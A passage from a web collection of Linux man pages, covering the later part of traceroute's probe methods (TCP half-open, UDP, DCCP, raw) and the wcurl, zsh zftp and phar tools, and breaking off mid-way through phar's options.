If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

31 - Linux cli command wcurl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wcurl and provides detailed information about the command wcurl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wcurl.

NAME 🖥️ wcurl 🖥️

a simple wrapper around curl to easily download files.

SYNOPSIS

wcurl [--curl-options <CURL_OPTIONS>]... [--dry-run] [--] <URL>...
wcurl [--curl-options=<CURL_OPTIONS>]... [--dry-run] [--] <URL>...
wcurl -V|--version
wcurl -h|--help

DESCRIPTION

wcurl is a simple curl wrapper which lets you use curl to download files without having to remember any parameters.

Simply call wcurl with a list of URLs you want to download and wcurl will pick sane defaults.

If you need anything more complex, you can provide any of curl’s supported parameters via the –curl-options option. Just beware that you likely should be using curl directly if your use case is not covered.

By default, wcurl will:

· Encode whitespaces in URLs;
· Download multiple URLs in parallel if the installed curl’s version is >= 7.66.0;
· Follow redirects;
· Automatically choose a filename as output;
· Avoid overwriting files if the installed curl’s version is >= 7.83.0 (–no-clobber);
· Perform retries;
· Set the downloaded file timestamp to the value provided by the server, if available;
· Default to the protocol used as https if the URL doesn’t contain any.
· Disable curl’s URL globbing parser so {} and [] characters in URLs are not treated specially.

OPTIONS

–curl-options, –curl-options=<CURL_OPTIONS>
Specify extra options to be passed when invoking curl. May be specified more than once.

–dry-run
Don’t actually execute curl, just print what would be invoked.

-V, –version
Print version information.

-h, –help
Print help message.

CURL_OPTIONS

Any option supported by curl can be set here. This is not used by wcurl; it’s instead forwarded to the curl invocation.

URL

Anything which is not a parameter will be considered an URL. wcurl will encode whitespaces and pass that to curl, which will perform the parsing of the URL.

EXAMPLES

Download a single file:
wcurl example.com/filename.txt

Download two files in parallel:
wcurl example.com/filename1.txt example.com/filename2.txt

Download a file passing the –progress-bar and –http2 flags to curl:
wcurl –curl-options="–progress-bar –http2" example.com/filename.txt

Resume from an interrupted download (if more options are used, this needs to be the last one in the list):
wcurl –curl-options="–continue-at -" example.com/filename.txt

AUTHORS

Samuel Henrique <[email protected]>
Sergio durigan junior <[email protected]>
Ryan Carsten Schmidt <[email protected]>
Ben Zanin

REPORTING BUGS

If you experience any problems with wcurl that you do not experience with curl, submit an issue on the Debian Bug Tracking System.

Alternatively, you can also submit an issue on Github or Debian’s salsa:
https://github.com/Debian/wcurl
https://salsa.debian.org/debian/wcurl

COPYRIGHT

wcurl is licensed under the curl license

SEE ALSO

curl(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

32 - Linux cli command zshzftpsys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshzftpsys and provides detailed information about the command zshzftpsys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshzftpsys.

NAME 🖥️ zshzftpsys 🖥️

zftp function front-end

DESCRIPTION

This describes the set of shell functions supplied with the source distribution as an interface to the zftp builtin command, allowing you to perform FTP operations from the shell command line or within functions or scripts. The interface is similar to a traditional FTP client (e.g. the ftp command itself, see ftp(1)), but as it is entirely done within the shell all the familiar completion, editing and globbing features, and so on, are present, and macros are particularly simple to write as they are just ordinary shell functions.

The prerequisite is that the zftp command, as described in zshmodules(1) , must be available in the version of zsh installed at your site. If the shell is configured to load new commands at run time, it probably is: typing `zmodload zsh/zftp’ will make sure (if that runs silently, it has worked). If this is not the case, it is possible zftp was linked into the shell anyway: to test this, type `which zftp’ and if zftp is available you will get the message `zftp: shell built-in command'.

Commands given directly with zftp builtin may be interspersed between the functions in this suite; in a few cases, using zftp directly may cause some of the status information stored in shell parameters to become invalid. Note in particular the description of the variables $ZFTP_TMOUT, $ZFTP_PREFS and $ZFTP_VERBOSE for zftp.

INSTALLATION

You should make sure all the functions from the Functions/Zftp directory of the source distribution are available; they all begin with the two letters `zf’. They may already have been installed on your system; otherwise, you will need to find them and copy them. The directory should appear as one of the elements of the $fpath array (this should already be the case if they were installed), and at least the function zfinit should be autoloaded; it will autoload the rest. Finally, to initialize the use of the system you need to call the zfinit function. The following code in your .zshrc will arrange for this; assume the functions are stored in the directory ~/myfns:

fpath=(~/myfns $fpath) autoload -U zfinit zfinit

Note that zfinit assumes you are using the zmodload method to load the zftp command. If it is already built into the shell, change zfinit to zfinit -n. It is helpful (though not essential) if the call to zfinit appears after any code to initialize the new completion system, else unnecessary compctl commands will be given.

FUNCTIONS

The sequence of operations in performing a file transfer is essentially the same as that in a standard FTP client. Note that, due to a quirk of the shell’s getopts builtin, for those functions that handle options you must use `’ rather than `-’ to ensure the remaining arguments are treated literally (a single `-’ is treated as an argument).

Opening a connection

zfparams [ host [ user [ password … ] ] ] Set or show the parameters for a future zfopen with no arguments. If no arguments are given, the current parameters are displayed (the password will be shown as a line of asterisks). If a host is given, and either the user or password is not, they will be prompted for; also, any parameter given as `?’ will be prompted for, and if the `?’ is followed by a string, that will be used as the prompt. As zfopen calls zfparams to store the parameters, this usually need not be called directly.

A single argument `-’ will delete the stored parameters. This will also cause the memory of the last directory (and so on) on the other host to be deleted.

zfopen [ -1 ] [ host [ user [ password [ account ] ] ] ]
If host is present, open a connection to that host under username user with password password (and, on the rare occasions when it is necessary, account account). If a necessary parameter is missing or given as `?’ it will be prompted for. If host is not present, use a previously stored set of parameters.

If the command was successful, and the terminal is compatible with xterm or is sun-cmd, a summary will appear in the title bar, giving the local host:directory and the remote host:directory; this is handled by the function zftp_chpwd, described below.

Normally, the host, user and password are internally recorded for later re-opening, either by a zfopen with no arguments, or automatically (see below). With the option `-1’, no information is stored. Also, if an open command with arguments failed, the parameters will not be retained (and any previous parameters will also be deleted). A zfopen on its own, or a zfopen -1, never alters the stored parameters.

Both zfopen and zfanon (but not zfparams) understand URLs of the form ftp://host/path… as meaning to connect to the host, then change directory to path (which must be a directory, not a file). The `ftp://’ can be omitted; the trailing `/’ is enough to trigger recognition of the path. Note prefixes other than `ftp:’ are not recognized, and that all characters after the first slash beyond host are significant in path.

zfanon [ -1 ] host
Open a connection host for anonymous FTP. The username used is `anonymous’. The password (which will be reported the first time) is generated as user**@**host; this is then stored in the shell parameter $EMAIL_ADDR which can alternatively be set manually to a suitable string.

Directory management

zfcd [ dir ]

zfcd -

zfcd old new Change the current directory on the remote server: this is implemented to have many of the features of the shell builtin cd.

In the first form with dir present, change to the directory dir. The command `zfcd ..’ is treated specially, so is guaranteed to work on non-UNIX servers (note this is handled internally by zftp). If dir is omitted, has the effect of `zfcd ~'.

The second form changes to the directory previously current.

The third form attempts to change the current directory by replacing the first occurrence of the string old with the string new in the current directory.

Note that in this command, and indeed anywhere a remote filename is expected, the string which on the local host corresponds to `~’ is converted back to a `~’ before being passed to the remote machine. This is convenient because of the way expansion is performed on the command line before zfcd receives a string. For example, suppose the command is `zfcd ~/foo’. The shell will expand this to a full path such as `zfcd /home/user2/pws/foo’. At this stage, zfcd recognises the initial path as corresponding to `~’ and will send the directory to the remote host as ~/foo, so that the `~’ will be expanded by the server to the correct remote host directory. Other named directories of the form `~name’ are not treated in this fashion.

zfhere
Change directory on the remote server to the one corresponding to the current local directory, with special handling of `~’ as in zfcd. For example, if the current local directory is ~/foo/bar, then zfhere performs the effect of `zfcd ~/foo/bar'.

zfdir [ -rfd ] [ - ] [ dir-options ] [ dir ]
Produce a long directory listing. The arguments dir-options and dir are passed directly to the server and their effect is implementation dependent, but specifying a particular remote directory dir is usually possible. The output is passed through a pager given by the environment variable $PAGER, or `more’ if that is not set.

The directory is usually cached for re-use. In fact, two caches are maintained. One is for use when there is no dir-options or dir, i.e. a full listing of the current remote directory; it is flushed when the current remote directory changes. The other is kept for repeated use of zfdir with the same arguments; for example, repeated use of `zfdir /pub/gnu’ will only require the directory to be retrieved on the first call. Alternatively, this cache can be re-viewed with the -r option. As relative directories will confuse zfdir, the -f option can be used to force the cache to be flushed before the directory is listed. The option -d will delete both caches without showing a directory listing; it will also delete the cache of file names in the current remote directory, if any.

zfls [ ls-options ] [ dir ]
List files on the remote server. With no arguments, this will produce a simple list of file names for the current remote directory. Any arguments are passed directly to the server. No pager and no caching is used.

Status commands

zftype [ type ] With no arguments, show the type of data to be transferred, usually ASCII or binary. With an argument, change the type: the types `A’ or `ASCII’ for ASCII data and `B’ or `BINARY’, `I’ or `IMAGE’ for binary data are understood case-insensitively.

zfstat [ -v ]
Show the status of the current or last connection, as well as the status of some of zftp’s status variables. With the -v option, a more verbose listing is produced by querying the server for its version of events, too.

Retrieving files

The commands for retrieving files all take at least two options. -G suppresses remote filename expansion which would otherwise be performed (see below for a more detailed description of that). -t attempts to set the modification time of the local file to that of the remote file: see the description of the function zfrtime below for more information.

zfget [ -Gtc ] file1 … Retrieve all the listed files file1 … one at a time from the remote server. If a file contains a `/’, the full name is passed to the remote server, but the file is stored locally under the name given by the part after the final `/’. The option -c (cat) forces all files to be sent as a single stream to standard output; in this case the -t option has no effect.

zfuget [ -Gvst ] file1
As zfget, but only retrieve files where the version on the remote server is newer (has a later modification time), or where the local file does not exist. If the remote file is older but the files have different sizes, or if the sizes are the same but the remote file is newer, the user will usually be queried. With the option -s, the command runs silently and will always retrieve the file in either of those two cases. With the option -v, the command prints more information about the files while it is working out whether or not to transfer them.

zfcget [ -Gt ] file1
As zfget, but if any of the local files exists, and is shorter than the corresponding remote file, the command assumes that it is the result of a partially completed transfer and attempts to transfer the rest of the file. This is useful on a poor connection which keeps failing.

Note that this requires a commonly implemented, but non-standard, version of the FTP protocol, so is not guaranteed to work on all servers.

zfgcp [ -Gt ] remote-file local-file

zfgcp [ -Gt ] rfile1ldir This retrieves files from the remote server with arguments behaving similarly to the cp command.

In the first form, copy remote-file from the server to the local file local-file.

In the second form, copy all the remote files rfile1 … into the local directory ldir retaining the same basenames. This assumes UNIX directory semantics.

Sending files

zfput [ -r ] file1 … Send all the file1 … given separately to the remote server. If a filename contains a `/’, the full filename is used locally to find the file, but only the basename is used for the remote file name.

With the option -r, if any of the files are directories they are sent recursively with all their subdirectories, including files beginning with `.’. This requires that the remote machine understand UNIX file semantics, since `/’ is used as a directory separator.

zfuput [ -vs ] file1
As zfput, but only send files which are newer than their remote equivalents, or if the remote file does not exist. The logic is the same as for zfuget, but reversed between local and remote files.

zfcput file1
As zfput, but if any remote file already exists and is shorter than the local equivalent, assume it is the result of an incomplete transfer and send the rest of the file to append to the existing part. As the FTP append command is part of the standard set, this is in principle more likely to work than zfcget.

zfpcp local-file remote-file

zfpcp lfile1rdir This sends files to the remote server with arguments behaving similarly to the cp command.

With two arguments, copy local-file to the server as remote-file.

With more than two arguments, copy all the local files lfile1 … into the existing remote directory rdir retaining the same basenames. This assumes UNIX directory semantics.

A problem arises if you attempt to use zfpcp lfile1 rdir, i.e. the second form of copying but with two arguments, as the command has no simple way of knowing if rdir corresponds to a directory or a filename. It attempts to resolve this in various ways. First, if the rdir argument is `.’ or `..’ or ends in a slash, it is assumed to be a directory. Secondly, if the operation of copying to a remote file in the first form failed, and the remote server sends back the expected failure code 553 and a reply including the string `Is a directory’, then zfpcp will retry using the second form.

Closing the connection

zfclose Close the connection.

Session management

zfsession [ -lvod ] [ sessname ] Allows you to manage multiple FTP sessions at once. By default, connections take place in a session called `default’; by giving the command `zfsession sessname’ you can change to a new or existing session with a name of your choice. The new session remembers its own connection, as well as associated shell parameters, and also the host/user parameters set by zfparams. Hence you can have different sessions set up to connect to different hosts, each remembering the appropriate host, user and password.

With no arguments, zfsession prints the name of the current session; with the option -l it lists all sessions which currently exist, and with the option -v it gives a verbose list showing the host and directory for each session, where the current session is marked with an asterisk. With -o, it will switch to the most recent previous session.

With -d, the given session (or else the current one) is removed; everything to do with it is completely forgotten. If it was the only session, a new session called `default’ is created and made current. It is safest not to delete sessions while background commands using zftp are active.

zftransfer sess1**:file1 sess2:**file2
Transfer files between two sessions; no local copy is made. The file is read from the session sess1 as file1 and written to session sess2 as file file2; file1 and file2 may be relative to the current directories of the session. Either sess1 or sess2 may be omitted (though the colon should be retained if there is a possibility of a colon appearing in the file name) and defaults to the current session; file2 may be omitted or may end with a slash, in which case the basename of file1 will be added. The sessions sess1 and sess2 must be distinct.

The operation is performed using pipes, so it is required that the connections still be valid in a subshell, which is not the case under versions of some operating systems, presumably due to a system bug.

Bookmarks

The two functions zfmark and zfgoto allow you to `bookmark’ the present location (host, user and directory) of the current FTP connection for later use. The file to be used for storing and retrieving bookmarks is given by the parameter $ZFTP_BMFILE; if not set when one of the two functions is called, it will be set to the file .zfbkmarks in the directory where your zsh startup files live (usually ~).

zfmark [ bookmark ] If given an argument, mark the current host, user and directory under the name bookmark for later use by zfgoto. If there is no connection open, use the values for the last connection immediately before it was closed; it is an error if there was none. Any existing bookmark under the same name will be silently replaced.

If not given an argument, list the existing bookmarks and the points to which they refer in the form user**@host:**directory; this is the format in which they are stored, and the file may be edited directly.

zfgoto [ -n ] bookmark
Return to the location given by bookmark, as previously set by zfmark. If the location has user `ftp’ or `anonymous’, open the connection with zfanon, so that no password is required. If the user and host parameters match those stored for the current session, if any, those will be used, and again no password is required. Otherwise a password will be prompted for.

With the option -n, the bookmark is taken to be a nickname stored by the ncftp program in its bookmark file, which is assumed to be ~/.ncftp/bookmarks. The function works identically in other ways. Note that there is no mechanism for adding or modifying ncftp bookmarks from the zftp functions.

Other functions

Mostly, these functions will not be called directly (apart from zfinit), but are described here for completeness. You may wish to alter zftp_chpwd and zftp_progress, in particular.

zfinit [ -n ] As described above, this is used to initialize the zftp function system. The -n option should be used if the zftp command is already built into the shell.

zfautocheck [ -dn ]
This function is called to implement automatic reopening behaviour, as described in more detail below. The options must appear in the first argument; -n prevents the command from changing to the old directory, while -d prevents it from setting the variable do_close, which it otherwise does as a flag for automatically closing the connection after a transfer. The host and directory for the last session are stored in the variable $zflastsession, but the internal host/user/password parameters must also be correctly set.

zfcd_match prefix suffix
This performs matching for completion of remote directory names. If the remote server is UNIX, it will attempt to persuade the server to list the remote directory with subdirectories marked, which usually works but is not guaranteed. On other hosts it simply calls zfget_match and hence completes all files, not just directories. On some systems, directories may not even look like filenames.

zfget_match prefix suffix
This performs matching for completion of remote filenames. It caches files for the current directory (only) in the shell parameter $zftp_fcache*.* It is in the form to be called by the -K option of compctl*, but* also works when called from a widget-style completion function with prefix and suffix set appropriately.

zfrglob varname
Perform remote globbing, as describes in more detail below. varname is the name of a variable containing the pattern to be expanded; if there were any matches, the same variable will be set to the expanded set of filenames on return.

zfrtime lfile rfile [ time ]
Set the local file lfile to have the same modification time as the remote file rfile, or the explicit time time in FTP format CCYYMMDDhhmmSS for the GMT timezone. This uses the shell’s zsh/datetime module to perform the conversion from GMT to local time.

zftp_chpwd
This function is called every time a connection is opened, or closed, or the remote directory changes. This version alters the title bar of an xterm*-compatible or* sun-cmd terminal emulator to reflect the local and remote hostnames and current directories. It works best when combined with the function chpwd*. In particular, a function of* the form

chpwd() { if [[ -n $ZFTP_USER ]]; then zftp_chpwd else # usual chpwd e.g put host:directory in title bar fi }

fits in well.

zftp_progress
This function shows the status of the transfer. It will not write anything unless the output is going to a terminal; however, if you transfer files in the background, you should turn off progress reports by hand using `zstyle ‘:zftp:*’ progress none*’. Note also that if you alter it, any* output must be to standard error, as standard output may be a file being received. The form of the progress meter, or whether it is used at all, can be configured without altering the function, as described in the next section.

zffcache
This is used to implement caching of files in the current directory for each session separately. It is used by zfget_match and zfrglob*.*

MISCELLANEOUS FEATURES

Configuration

Various styles are available using the standard shell style mechanism, described in zshmodules(1). Briefly, the command `zstyle ‘:zftp:*’ style value …’. defines the style to have value value; more than one value may be given, although that is not useful in the cases described here. These values will then be used throughout the zftp function system. For more precise control, the first argument, which gives a pattern that matches contexts in which the style applies, can be modified to include a particular function, as for example `:zftp:zfget*’: the style will then have the given value only* in the zfget function, and will override styles set under `:zftp:*’. Note that only the top level function name, as called by the user, is used; calling of lower level functions is transparent to the user. Hence modifications to the title bar in zftp_chpwd use the contexts :zftp:zfopen*,* :zftp:zfcd*, etc., depending where it was* called from. The following styles are understood:

progress Controls the way that zftp_progress reports on the progress of a transfer. If empty, unset, or `none*’, no progress report is made; if* `bar*’ a growing bar of inverse video is shown; if `percent’ (or any* other string, though this may change in future), the percentage of the file transferred is shown. The bar meter requires that the width of the terminal be available via the $COLUMNS parameter (normally this is set automatically). If the size of the file being transferred is not available, bar and percent meters will simply show the number of bytes transferred so far.

When zfinit is run, if this style is not defined for the context :zftp:*, it will be set to `bar’.

update
Specifies the minimum time interval between updates of the progress meter in seconds. No update is made unless new data has been received, so the actual time interval is limited only by $ZFTP_TIMEOUT*.*

As described for progress*,* zfinit will force this to default to 1.

remote-glob
If set to `1*’, `yes’ or `true’, filename generation (globbing) is* performed on the remote machine instead of by zsh itself; see below.

titlebar
If set to `1*’, `yes’ or `true’,* zftp_chpwd will put the remote host and remote directory into the titlebar of terminal emulators such as xterm or sun-cmd that allow this.

As described for progress*,* zfinit will force this to default to 1.

chpwd
If set to `1*’ `yes’ or `true’,* zftp_chpwd will call the function chpwd when a connection is closed. This is useful if the remote host details were put into the terminal title bar by zftp_chpwd and your usual chpwd also modifies the title bar.

When zfinit is run, it will determine whether chpwd exists and if so it will set the default value for the style to 1 if none exists already.

Note that there is also an associative array zfconfig which contains values used by the function system. This should not be modified or overwritten.

Remote globbing

The commands for retrieving files usually perform filename generation (globbing) on their arguments; this can be turned off by passing the option -G to each of the commands. Normally this operates by retrieving a complete list of files for the directory in question, then matching these locally against the pattern supplied. This has the advantage that the full range of zsh patterns (respecting the setting of the option EXTENDED_GLOB*) can be used. However, it means that the directory part* of a filename will not be expanded and must be given exactly. If the remote server does not support the UNIX directory semantics, directory handling is problematic and it is recommended that globbing only be used within the current directory. The list of files in the current directory, if retrieved, will be cached, so that subsequent globs in the same directory without an intervening zfcd are much faster.

If the remote-glob style (see above) is set, globbing is instead performed on the remote host: the server is asked for a list of matching files. This is highly dependent on how the server is implemented, though typically UNIX servers will provide support for basic glob patterns. This may in some cases be faster, as it avoids retrieving the entire list of directory contents.

Automatic and temporary reopening

As described for the zfopen command, a subsequent zfopen with no parameters will reopen the connection to the last host (this includes connections made with the zfanon command). Opened in this fashion, the connection starts in the default remote directory and will remain open until explicitly closed.

Automatic re-opening is also available. If a connection is not currently open and a command requiring a connection is given, the last connection is implicitly reopened. In this case the directory which was current when the connection was closed again becomes the current directory (unless, of course, the command given changes it). Automatic reopening will also take place if the connection was close by the remote server for whatever reason (e.g. a timeout). It is not available if the -1 option to zfopen or zfanon was used.

Furthermore, if the command issued is a file transfer, the connection will be closed after the transfer is finished, hence providing a one-shot mode for transfers. This does not apply to directory changing or listing commands; for example a zfdir may reopen a connection but will leave it open. Also, automatic closure will only ever happen in the same command as automatic opening, i.e a zfdir directly followed by a zfget will never close the connection automatically.

Information about the previous connection is given by the zfstat function. So, for example, if that reports:

Session: default Not connected. Last session: ftp.bar.com:/pub/textfiles

then the command zfget file.txt will attempt to reopen a connection to ftp.bar.com*, retrieve the file* /pub/textfiles/file.txt*, and* immediately close the connection again. On the other hand, zfcd .. will open the connection in the directory /pub and leave it open.

Note that all the above is local to each session; if you return to a previous session, the connection for that session is the one which will be reopened.

Completion

Completion of local and remote files, directories, sessions and bookmarks is supported. The older, compctl*-style completion is defined when* zfinit is called; support for the new widget-based completion system is provided in the function Completion/Zsh/Command/_zftp*, which should be* installed with the other functions of the completion system and hence should automatically be available.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

33 - Linux cli command phar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command phar and provides detailed information about the command phar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the phar.

NAME 🖥️ phar 🖥️

PHAR (PHP archive) command line tool

SYNOPSIS

phar <command> [options] …

DESCRIPTION

The PHAR file format provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation.

With the phar command you can create, update or extract PHP archives.

Commands: add compress delete extract help help-list info list meta-del meta-get meta-set pack sign stub-get stub-set tree version

add command

Add entries to a PHAR package.

Required arguments:

-f file Specifies the phar file to work on.

Any number of input files and directories. If -i is in use then ONLY files and matching the given regular expression are being packed. If -x is given then files matching that regular expression are NOT being packed.

Optional arguments:

-a alias Provide an alias name for the phar file.

-c algo Compression algorithm (see

COMPRESSION )

-i regex Specifies a regular expression for input files.

-l level Number of preceding subdirectories to strip from file entries

-x regex Regular expression for input files to exclude.

compress command

Compress or uncompress all files or a selected entry.

Required arguments:

-c algo Compression algorithm (see

COMPRESSION )

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

delete command

Delete entry from a PHAR archive

Required arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-f file Specifies the phar file to work on.

extract command

Extract a PHAR package to a directory.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

Directory to extract to (defaults to ‘.’).

help command

This help or help for a selected command.

Optional arguments:

Optional command to retrieve help for.

help-list command

Lists available commands.

info command

Get information about a PHAR package.

By using -k it is possible to return a single value.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-k index Subscription index to work on.

list command

List contents of a PHAR archive.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

meta-del command

Delete meta information of a PHAR entry or a PHAR package.

If -k is given then the metadata is expected to be an array and the given index is being deleted.

If something was deleted the return value is 0 otherwise it is 1.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

meta-get command

Get meta information of a PHAR entry or a PHAR package in serialized from. If no output file is specified for meta data then stdout is being used. You can also specify a particular index using -k. In that case the metadata is expected to be an array and the value of the given index is returned using echo rather than using serialize. If that index does not exist or no meta data is present then the return value is 1.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

meta-set command

Set meta data of a PHAR entry or a PHAR package using serialized input. If no input file is specified for meta data then stdin is being used. You can also specify a particular index using -k. In that case the metadata is expected to be an array and the value of the given index is being set. If the metadata is not present or empty a new array will be created. If the metadata is present and a flat value then the return value is 1. Also using -k the input is been taken directly rather then being serialized.

Required arguments:

-f file Specifies the phar file to work on.

-m meta Meta data to store with entry (serialized php data).

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

pack command

Pack files into a PHAR archive.

When using -s <stub>, then the stub file is being excluded from the list of input files/dirs.To create an archive that contains PEAR class PHP_Archive then point -p argument to PHP/Archive.php.

Required arguments:

-f file Specifies the phar file to work on.

Any number of input files and directories. If -i is in use then ONLY files and matching the given regular expression are being packed. If -x is given then files matching that regular expression are NOT being packed.

Optional arguments:

-a alias Provide an alias name for the phar file.

-b bang Hash-bang line to start the archive (e.g. #!/usr/bin/php). The hash mark itself ‘#!’ and the newline character are optional.

-c algo Compression algorithm (see

COMPRESSION )

-h hash Selects the hash algorithm (see

HASH )

-i regex Specifies a regular expression for input files.

-l level Number of preceding subdirectories to strip from file entries

